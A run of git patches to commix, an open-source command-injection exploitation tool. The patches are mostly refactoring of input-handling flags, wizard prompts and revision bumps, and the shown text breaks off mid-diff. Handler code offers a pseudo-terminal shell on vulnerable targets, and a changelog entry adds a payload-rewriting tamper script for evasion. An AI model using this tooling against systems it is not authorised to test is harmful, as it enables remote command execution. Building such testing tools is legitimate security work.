a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5e7cc9dcfe..78ba02cae3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -512,10 +512,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese """ def export_injection_results(cmd, separator, output, check_how_long): if output != "" and check_how_long != 0 : - print(settings.SINGLE_WHITESPACE) - print(settings.print_output(output)) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "." print(settings.print_info_msg(info_msg)) + print(settings.print_output(output)) else: err_msg = common.invalid_cmd_output(cmd) print(settings.print_error_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index c853764a27..33292f7526 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 58d63016b3b01553935e06312a76d3c63673b158 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 15 Oct 2022 12:23:44 +0300 Subject: [PATCH 0192/1023] Fixes https://github.com/commixproject/commix/issues/784 --- .../blind/techniques/time_based/tb_handler.py | 6 ++-- src/core/injections/controller/controller.py | 6 ++-- .../techniques/classic/cb_handler.py | 6 ++-- .../techniques/eval_based/eb_handler.py | 6 ++-- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/tempfile_based/tfb_handler.py | 6 ++-- src/core/main.py | 31 +++++++++---------- src/core/modules/shellshock/shellshock.py | 6 ++-- src/utils/settings.py | 7 +++-- 9 files changed, 38 insertions(+), 38 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 3053d0d3ef..89b1946538 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -298,7 +298,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -457,7 +457,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -516,7 +516,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e189028203..32ae47355f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -51,7 +51,7 @@ def check_for_stored_sessions(url, http_request_method): settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES if session_handler.check_stored_parameter(url, http_request_method): - if not settings.MULTI_TARGETS or settings.IS_TTY: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: settings.LOAD_SESSION = True return True @@ -695,11 +695,11 @@ def post_request(url, http_request_method, filename, timesec): """ def perform_checks(url, http_request_method, filename): # Initiate whitespaces - if settings.MULTI_TARGETS or not settings.IS_TTY and len(settings.WHITESPACES) > 1: + if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] def basic_level_checks(): - if settings.MULTI_TARGETS or not settings.IS_TTY: + if settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.PERFORM_BASIC_SCANS = True else: settings.PERFORM_BASIC_SCANS = False diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 2a1399bde1..cbe27dfb02 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -198,7 +198,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -335,7 +335,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -401,7 +401,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 6a5322606c..b68e613d26 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -210,7 +210,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -346,7 +346,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -409,7 +409,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index a0829a16f9..693f011878 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -563,7 +563,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index e9fe804657..cc598bd8c8 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -319,7 +319,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) @@ -501,7 +501,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -566,7 +566,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/core/main.py b/src/core/main.py index d123ca2c90..2bf768d34e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -106,7 +106,7 @@ def check_custom_injection_marker(url): if settings.WILDCARD_CHAR_APPLIED: if menu.options.test_parameter: - if not settings.MULTI_TARGETS or not settings.IS_TTY: + if not settings.MULTI_TARGETS or settings.STDIN_PARSING: err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " err_msg += "cannot be used simultaneously (i.e. only one option must be set)." print(settings.print_critical_msg(err_msg)) @@ -135,7 +135,7 @@ def user_agent_header(): # Check if defined "--mobile" option. if menu.options.mobile: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - if not settings.MULTI_TARGETS or settings.IS_TTY: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -145,7 +145,7 @@ def user_agent_header(): # Check if defined "--random-agent" option. if menu.options.random_agent: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - if not settings.MULTI_TARGETS or settings.IS_TTY: + if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -333,7 +333,7 @@ def main(filename, url): if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True - if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or not settings.IS_TTY: + if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False check_custom_injection_marker(url) @@ -580,7 +580,7 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): @@ -608,15 +608,12 @@ def main(filename, url): install.installer() raise SystemExit() - if not sys.stdin.isatty(): - settings.IS_TTY = False - # Check if defined "--purge" option. if menu.options.purge: purge.purge() - + # Check for missing mandatory option(s). - if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " @@ -695,14 +692,14 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.wizard and settings.IS_TTY: + if menu.options.wizard and not settings.STDIN_PARSING: if not menu.options.url: while True: message = "Please enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) if menu.options.url is None or len(menu.options.url) == 0: pass - else: + else: break message = "Please enter POST data (--data) [Enter for none] > " menu.options.data = common.read_input(message, default=None, check_batch=True) @@ -736,7 +733,7 @@ def main(filename, url): settings.CRAWLING = True # Check arguments - if len(sys.argv) == 1 and settings.IS_TTY: + if len(sys.argv) == 1 and not settings.STDIN_PARSING: menu.parser.print_help() print(settings.SINGLE_WHITESPACE) raise SystemExit() @@ -790,7 +787,7 @@ def main(filename, url): else: url = menu.options.url - if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING: + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: http_request_method = checks.check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True @@ -827,7 +824,7 @@ def main(filename, url): bulkfile = [url.strip() for url in f] # Check if option "--crawl" is enabled. - if settings.CRAWLING and settings.IS_TTY: + if settings.CRAWLING: settings.CRAWLING_PHASE = True url_num = 1 if not menu.options.bulkfile: @@ -846,7 +843,7 @@ def main(filename, url): settings.CRAWLING_PHASE = False else: filename = None - if settings.IS_TTY: + if not settings.STDIN_PARSING: output_href = output_href + bulkfile else: if os_checks_num == 0: @@ -864,7 +861,7 @@ def main(filename, url): [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) != 0 and settings.IS_TTY: + if len(output_href) != 0 and not settings.STDIN_PARSING: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 0828381bbd..e91c29b87a 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -33,7 +33,7 @@ [2] CVE-2014-6278: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 """ -if settings.MULTI_TARGETS or not settings.IS_TTY: +if settings.MULTI_TARGETS or settings.STDIN_PARSING: if settings.USER_AGENT_INJECTION: settings.USER_AGENT_INJECTION = None if settings.REFERER_INJECTION: @@ -420,7 +420,7 @@ def shellshock_handler(url, http_request_method, filename): if go_back == True: break message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: + if not settings.STDIN_PARSING: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) @@ -486,7 +486,7 @@ def shellshock_handler(url, http_request_method, filename): raise except EOFError: - if not settings.IS_TTY: + if settings.STDIN_PARSING: print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 33292f7526..891ab1f458 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -409,7 +409,10 @@ def sys_argv_errors(): # Max Length for command execution output. MAXLEN = 10000 -IS_TTY = True +STDIN_PARSING = False +if not sys.stdin.isatty(): + STDIN_PARSING = True + # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From 25af7c6f55531ff560e870620463b71cb53774b7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 16 Oct 2022 10:11:44 +0300 Subject: [PATCH 0193/1023] Minor improvement regarding `--wizard` option. --- doc/CHANGELOG.md | 1 + src/core/main.py | 28 +++++++++++++++++++++------- src/utils/settings.py | 2 +- 3 files changed, 23 insertions(+), 8 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8eea9871af..d13a211a1d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Minor improvement regarding `--wizard` option. * Added: New tamper script "printf2echo.py" that replaces the printf-based ASCII to Decimal `printf "%d" "'$char'"` with `echo -n $char | od -An -tuC | xargs`. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). diff --git a/src/core/main.py b/src/core/main.py index 2bf768d34e..e0fc610dc1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -692,19 +692,33 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.wizard and not settings.STDIN_PARSING: - if not menu.options.url: + # Check if defined "--wizard" option. + if menu.options.wizard: + if not menu.options.url and not settings.STDIN_PARSING: while True: - message = "Please enter full target URL (-u) > " + message = "Enter full target URL (-u) > " menu.options.url = common.read_input(message, default=None, check_batch=True) if menu.options.url is None or len(menu.options.url) == 0: pass else: break - message = "Please enter POST data (--data) [Enter for none] > " - menu.options.data = common.read_input(message, default=None, check_batch=True) - if menu.options.data is not None and len(menu.options.data) == 0: - menu.options.data = False + message = "Enter POST data (--data) [Enter for none] > " + if settings.STDIN_PARSING or menu.options.data: + print(settings.print_message(message + menu.options.data)) + else: + menu.options.data = common.read_input(message, default=None, check_batch=True) + if menu.options.data is not None and len(menu.options.data) == 0: + menu.options.data = False + while True: + message = "Enter injection level (--level) [1-3, Default: 1] > " + if settings.STDIN_PARSING or menu.options.level > settings.DEFAULT_INJECTION_LEVEL: + print(settings.print_message(message + str(menu.options.level))) + break + menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: + pass + else: + break # Seconds to delay between each HTTP request. if menu.options.delay > 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 891ab1f458..5bf3984442 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f114feb0c9ae84930dec27003d6a8c64f11afcae Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Oct 2022 09:27:17 +0300 Subject: [PATCH 0194/1023] Minor update --- src/utils/menu.py | 2 +- src/utils/settings.py | 10 +++++++--- 2 files changed, 8 insertions(+), 4 deletions(-) diff --git a/src/utils/menu.py b/src/utils/menu.py index e9a7cfe0e8..72f39ec060 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -32,7 +32,7 @@ def banner(): print(""" __ ___ ___ ___ ___ ___ ___ /\_\ __ _ - /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + Style.BRIGHT + Style.UNDERLINE + settings.VERSION + Style.RESET_ALL + """ + /`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """ /\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> Date: Tue, 18 Oct 2022 23:00:41 +0300 Subject: [PATCH 0195/1023] Minor update regarding https://github.com/commixproject/commix/commit/73c16e0a1e7c556af0ac1300412f000ba3e0a393 --- src/utils/settings.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 724890b731..f0ecf56206 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1034,6 +1034,7 @@ def sys_argv_errors(): "nested", "singlequotes", "slash2env", + "printf2echo", "uninitializedvariable" ] From c9e3a6af7c6d3eca3aa06fa973a94914db58eb85 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 20 Oct 2022 09:37:12 +0300 Subject: [PATCH 0196/1023] Minor update (verbose mode) --- src/core/requests/headers.py | 4 +--- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 4843c25d74..5971abdd5d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -66,8 +66,6 @@ def http_response(headers, code): logs.log_traffic("\n" + header) if menu.options.traffic_file: logs.log_traffic("\n\n") - if settings.VERBOSITY_LEVEL == 3: - print(settings.SINGLE_WHITESPACE) """ Print HTTP response headers / Body. @@ -106,7 +104,7 @@ def send(self, req): request_http_headers = str(headers).split("\r\n") unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] - request_http_headers = unique_request_http_headers + request_http_headers = [x for x in unique_request_http_headers if x] for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: print(settings.print_traffic(header)) diff --git a/src/utils/settings.py b/src/utils/settings.py index f0ecf56206..e4cf715332 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3d7bb83918d5e25a2daa3dd9238e73c498c2076d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 21 Oct 2022 08:51:40 +0300 Subject: [PATCH 0197/1023] Fixes https://github.com/commixproject/commix/issues/786 --- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 89b1946538..9b8d9173c8 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -556,7 +556,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "s": from src.core.injections.semiblind.techniques.file_based import fb_handler - fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response) + fb_handler.exploitation(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) elif proceed_option.lower() == "c": if tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique) == False: return False diff --git a/src/utils/settings.py b/src/utils/settings.py index e4cf715332..4c19bc06c3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 41526d2703aa1dcd9318de2a8855be8cebe839d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 23 Oct 2022 12:21:35 +0300 Subject: [PATCH 0198/1023] Minor update --- src/utils/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c19bc06c3..86e4e75972 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,14 +241,14 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" COLOR_VERSION = Style.BRIGHT + Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL else: - VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION + Style.RESET_ALL + VERSION = VERSION + VERSION_NUM + "-dev#" + REVISION COLOR_VERSION = Style.UNDERLINE + Fore.WHITE + VERSION + Style.RESET_ALL YEAR = "2014-2022" From d585a85159144801a7dabc2c2219ff9a342acab5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 24 Oct 2022 09:10:56 +0300 Subject: [PATCH 0199/1023] Minor update --- src/core/injections/controller/controller.py | 54 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 28 insertions(+), 28 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 32ae47355f..070f512b3d 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -363,35 +363,35 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: if not settings.LOAD_SESSION: checks.recognise_payload(payload=settings.TESTABLE_VALUE) - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - while True: - message = "Skipping of further command injection tests is recommended. " - message += "Do you agree? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False - settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True - break - elif procced_option in settings.CHOICE_NO: - break - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: + # Check for identified warnings + url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: + while True: + message = "Skipping of further command injection tests is recommended. " + message += "Do you agree? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False + settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True + break + elif procced_option in settings.CHOICE_NO: + break + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that " - warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ diff --git a/src/utils/settings.py b/src/utils/settings.py index 86e4e75972..2d3b8ee985 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6b04e8913fe56d6b0994a1920b27146e1e33f61e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Oct 2022 07:48:54 +0300 Subject: [PATCH 0200/1023] Minor fix --- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 9b8d9173c8..d46c641daf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -99,7 +99,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if not settings.LOAD_SESSION: num_of_chars = num_of_chars + 1 diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index b68e613d26..0d13640ab7 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -90,7 +90,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method) + cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type, technique) if not settings.LOAD_SESSION: i = i + 1 diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 693f011878..4b213359ee 100755 --- 